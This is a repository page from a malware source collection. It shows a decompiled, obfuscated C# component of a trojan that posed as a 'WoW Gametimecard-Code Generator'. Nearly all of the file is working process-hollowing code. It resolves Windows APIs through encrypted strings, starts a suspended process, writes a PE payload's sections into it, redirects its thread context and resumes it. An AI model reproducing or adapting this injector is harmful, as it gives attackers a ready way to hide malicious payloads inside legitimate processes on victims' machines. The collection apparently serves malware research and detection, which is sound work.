ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 09:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f2ac1ece55
MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.lgnr-045e91a28a9a83e302813bf2c8cafb4d85c7cff6b8293383e46ed7ec7f2423bf/_0003.cs
vxunderground f2ac1ece55 auto-decompiled msil via petikvx 
add
2022-08-18 06:28:56 -05:00

311 lines
11 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WoW Gametimecard-Code Generator, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F6EFF043-3343-4D98-A648-6582746BA4AA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.lgnr-045e91a28a9a83e302813bf2c8cafb4d85c7cff6b8293383e46ed7ec7f2423bf.exe
using System;
using System.Runtime.InteropServices;
internal sealed class \u0003
{
private void \u0002() => Console.Write(\u0008.\u0002(583183482));
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr _param0, string _param1);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string _param0);
public void \u0002(byte[] _param1, string _param2, string _param3)
{
\u0003.\u0002\u2001 obj1 = new \u0003.\u0002\u2001();
\u0003.\u0006\u2001 obj2 = new \u0003.\u0006\u2001();
this.\u0002();
\u0003.\u0002\u2002 structure1 = new \u0003.\u0002\u2002();
\u0003.\u0006\u2000 structure2 = new \u0003.\u0006\u2000();
this.\u0002();
\u0003.\u000E\u2000 obj3 = new \u0003.\u000E\u2000();
\u0003.\u000F\u2001 obj4 = new \u0003.\u000F\u2001();
this.\u0002();
structure2.\u0002 = (uint) Marshal.SizeOf((object) structure2);
obj4.\u0002 = 65543U;
this.\u0002();
GCHandle gcHandle = GCHandle.Alloc((object) _param1, GCHandleType.Pinned);
int int32 = gcHandle.AddrOfPinnedObject().ToInt32();
this.\u0002();
gcHandle.Free();
\u0003.\u0002\u2001 structure3 = (\u0003.\u0002\u2001) Marshal.PtrToStructure((IntPtr) int32, typeof (\u0003.\u0002\u2001));
this.\u0002();
\u0003.\u0006\u2001 structure4 = (\u0003.\u0006\u2001) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0006\u2001), typeof (\u0003.\u0006\u2001));
this.\u0002();
if (structure4.\u0002 != 17744U || structure3.\u0002 != (ushort) 23117)
return;
\u0003.\u0002 forFunctionPointer1 = (\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583184374)), typeof (\u0003.\u0002));
\u0003.\u0005 forFunctionPointer2 = (\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184355)), \u0008.\u0002(583184339)), typeof (\u0003.\u0005));
\u0003.\u0008 forFunctionPointer3 = (\u0003.\u0008) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583184310)), typeof (\u0003.\u0008));
this.\u0002();
\u0003.\u0003 forFunctionPointer4 = (\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583184291)), typeof (\u0003.\u0003));
\u0003.\u0006 forFunctionPointer5 = (\u0003.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583184264)), typeof (\u0003.\u0006));
\u0003.\u000E forFunctionPointer6 = (\u0003.\u000E) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583182451)), typeof (\u0003.\u000E));
this.\u0002();
\u0003.\u000F forFunctionPointer7 = (\u0003.\u000F) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(583184139)), \u0008.\u0002(583182426)), typeof (\u0003.\u000F));
this.\u0002();
int num1 = forFunctionPointer1(_param3, _param2, IntPtr.Zero, IntPtr.Zero, false, (\u0003.\u0002\u2000) 4, IntPtr.Zero, (string) null, ref structure2, out obj3) ? 1 : 0;
int num2 = forFunctionPointer2(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000) ? 1 : 0;
this.\u0002();
if (!forFunctionPointer3(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000, structure4.\u0005.\u000E\u2001, (\u0003.\u0008\u2000) 12288, (\u0003.\u0005\u2000) 64))
return;
int num3 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000, _param1, structure4.\u0005.\u000F\u2001, (object) null) ? 1 : 0;
this.\u0002();
for (int index1 = 0; index1 <= (int) structure4.\u0003.\u0003 - 1; ++index1)
{
structure1 = (\u0003.\u0002\u2002) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0006\u2001 + Marshal.SizeOf((object) structure4) + Marshal.SizeOf((object) structure1) * index1), typeof (\u0003.\u0002\u2002));
byte[] numArray = new byte[(IntPtr) structure1.\u0008];
for (int index2 = 0; index2 <= (int) structure1.\u0008 - 1; ++index2)
numArray[index2] = _param1[(long) structure1.\u0006 + (long) index2];
this.\u0002();
int num4 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) (structure4.\u0005.\u0005\u2000 + structure1.\u0005), numArray, structure1.\u0008, (object) null) ? 1 : 0;
}
int num5 = forFunctionPointer5(obj3.\u0003, ref obj4) ? 1 : 0;
this.\u0002();
byte[] bytes = BitConverter.GetBytes(structure4.\u0005.\u0005\u2000);
int num6 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) (obj4.\u0002\u2001 + 8U), bytes, (uint) bytes.Length, (object) null) ? 1 : 0;
obj4.\u0008\u2001 = structure4.\u0005.\u0005\u2000 + structure4.\u0005.\u000F;
this.\u0002();
int num7 = forFunctionPointer6(obj3.\u0003, ref obj4) ? 1 : 0;
int num8 = (int) forFunctionPointer7(obj3.\u0003);
}
private delegate bool \u0002(
string _param1,
string _param2,
IntPtr _param3,
IntPtr _param4,
bool _param5,
\u0003.\u0002\u2000 _param6,
IntPtr _param7,
string _param8,
ref \u0003.\u0006\u2000 _param9,
out \u0003.\u000E\u2000 _param10);
private delegate bool \u0003(
IntPtr _param1,
IntPtr _param2,
byte[] _param3,
uint _param4,
object _param5);
private delegate bool \u0005(IntPtr _param1, IntPtr _param2);
private delegate bool \u0006(IntPtr _param1, ref \u0003.\u000F\u2001 _param2);
private delegate bool \u0008(
IntPtr _param1,
IntPtr _param2,
uint _param3,
\u0003.\u0008\u2000 _param4,
\u0003.\u0005\u2000 _param5);
private delegate bool \u000E(IntPtr _param1, [In] ref \u0003.\u000F\u2001 _param2);
private delegate uint \u000F(IntPtr _param1);
private enum \u0002\u2000 : uint
{
}
private struct \u0002\u2002
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] \u0002;
public uint \u0003;
public uint \u0005;
public uint \u0008;
public uint \u0006;
public uint \u000E;
public uint \u000F;
public ushort \u0002\u2000;
public ushort \u0003\u2000;
public uint \u0005\u2000;
}
private enum \u0003\u2000 : uint
{
}
private enum \u0005\u2000 : uint
{
}
private struct \u0006\u2000
{
public uint \u0002;
public string \u0003;
public string \u0005;
public string \u0008;
public uint \u0006;
public uint \u000E;
public uint \u000F;
public uint \u0002\u2000;
public uint \u0003\u2000;
public uint \u0005\u2000;
public uint \u0008\u2000;
public uint \u0006\u2000;
public short \u000E\u2000;
public short \u000F\u2000;
public IntPtr \u0002\u2001;
public IntPtr \u0003\u2001;
public IntPtr \u0005\u2001;
public IntPtr \u0008\u2001;
}
private enum \u0008\u2000 : uint
{
}
private struct \u000E\u2000
{
public IntPtr \u0002;
public IntPtr \u0003;
public uint \u0005;
public uint \u0008;
}
private struct \u000F\u2000
{
public int \u0002;
public IntPtr \u0003;
public bool \u0005;
}
private struct \u0002\u2001
{
public ushort \u0002;
public ushort \u0003;
public ushort \u0005;
public ushort \u0008;
public ushort \u0006;
public ushort \u000E;
public ushort \u000F;
public ushort \u0002\u2000;
public ushort \u0003\u2000;
public ushort \u0005\u2000;
public ushort \u0008\u2000;
public ushort \u0006\u2000;
public ushort \u000E\u2000;
public ushort \u000F\u2000;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] \u0002\u2001;
public ushort \u0003\u2001;
public ushort \u0005\u2001;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] \u0008\u2001;
public int \u0006\u2001;
}
private struct \u0003\u2001
{
public ushort \u0002;
public ushort \u0003;
public uint \u0005;
public uint \u0008;
public uint \u0006;
public ushort \u000E;
public ushort \u000F;
}
private struct \u0005\u2001
{
public uint \u0002;
public uint \u0003;
}
private struct \u0006\u2001
{
public uint \u0002;
public \u0003.\u0003\u2001 \u0003;
public \u0003.\u0008\u2001 \u0005;
}
private struct \u0008\u2001
{
public ushort \u0002;
public byte \u0003;
public byte \u0005;
public uint \u0008;
public uint \u0006;
public uint \u000E;
public uint \u000F;
public uint \u0002\u2000;
public uint \u0003\u2000;
public uint \u0005\u2000;
public uint \u0008\u2000;
public uint \u0006\u2000;
public ushort \u000E\u2000;
public ushort \u000F\u2000;
public ushort \u0002\u2001;
public ushort \u0003\u2001;
public ushort \u0005\u2001;
public ushort \u0008\u2001;
public uint \u0006\u2001;
public uint \u000E\u2001;
public uint \u000F\u2001;
public uint \u0002\u2002;
public ushort \u0003\u2002;
public ushort \u0005\u2002;
public uint \u0008\u2002;
public uint \u0006\u2002;
public uint \u000E\u2002;
public uint \u000F\u2002;
public uint \u0002\u2003;
public uint \u0003\u2003;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public \u0003.\u0005\u2001[] \u0005\u2003;
}
private struct \u000E\u2001
{
public uint \u0002;
public uint \u0003;
public uint \u0005;
public uint \u0008;
public uint \u0006;
public uint \u000E;
public uint \u000F;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
public byte[] \u0002\u2000;
public uint \u0003\u2000;
}
private struct \u000F\u2001
{
public uint \u0002;
public uint \u0003;
public uint \u0005;
public uint \u0008;
public uint \u0006;
public uint \u000E;
public uint \u000F;
public \u0003.\u000E\u2001 \u0002\u2000;
public uint \u0003\u2000;
public uint \u0005\u2000;
public uint \u0008\u2000;
public uint \u0006\u2000;
public uint \u000E\u2000;
public uint \u000F\u2000;
public uint \u0002\u2001;
public uint \u0003\u2001;
public uint \u0005\u2001;
public uint \u0008\u2001;
public uint \u0006\u2001;
public uint \u000E\u2001;
public uint \u000F\u2001;
public uint \u0002\u2002;
public uint \u0003\u2002;
public uint \u0005\u2002;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
public byte[] \u0008\u2002;
}
}
Reference in New Issue View Git Blame Copy Permalink